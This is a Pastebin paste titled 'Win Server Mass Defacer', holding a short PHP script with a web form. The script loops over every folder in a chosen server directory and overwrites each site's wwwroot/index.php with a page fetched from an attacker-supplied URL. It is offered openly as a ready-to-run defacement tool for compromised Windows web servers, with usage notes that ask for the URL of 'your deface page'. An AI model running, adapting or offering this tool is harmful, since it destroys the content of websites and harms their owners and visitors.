3x5w4rup

Win Server Mass Defacer

Jun 3rd, 2014
533
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.32 KB | None | 0 0
  1. <?php
  2. echo "<center><textarea rows='10' cols='100'>";
  3. $defaceurl = $_POST['massdefaceurl'];
  4. $dir = $_POST['massdefacedir'];
  5. echo $dir."\n";
  6.  
  7. if (is_dir($dir)) {
  8.     if ($dh = opendir($dir)) {
  9.         while (($file = readdir($dh)) !== false) {
  10.                         if(filetype($dir.$file)=="dir"){
  11.                                 $newfile=$dir.$file."/wwwroot/index.php";
  12.                                 echo $newfile."\n";
  13.                                 if (!copy($defaceurl, $newfile)) {
  14.                                         echo "failed to copy $file...\n";
  15.                                 }
  16.                         }
  17.         }
  18.         closedir($dh);
  19.     }
  20. }
  21. echo "</textarea></center>";
  22. ?>
  23. <td align=right>Mass Defacement:</td><br>
  24. <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
  25. [+] Main Directory: <input type='text' style='width: 250px' value='<?php  echo getcwd() . "/"; ?>' name='massdefacedir'>
  26. [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
  27. <input type='submit' name='execmassdeface' value='Execute'></form></td>
  28.  
  29.  
  30.  
  31. <br><br><br>
  32. ** Main Directory = The Directory you want to mass deface (Must have read/write permission) **<br>
  33. ** Defacement Url = URL of your deface page (e.g: http://yoursite.com/deface.html ) **<br><br>
  34. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment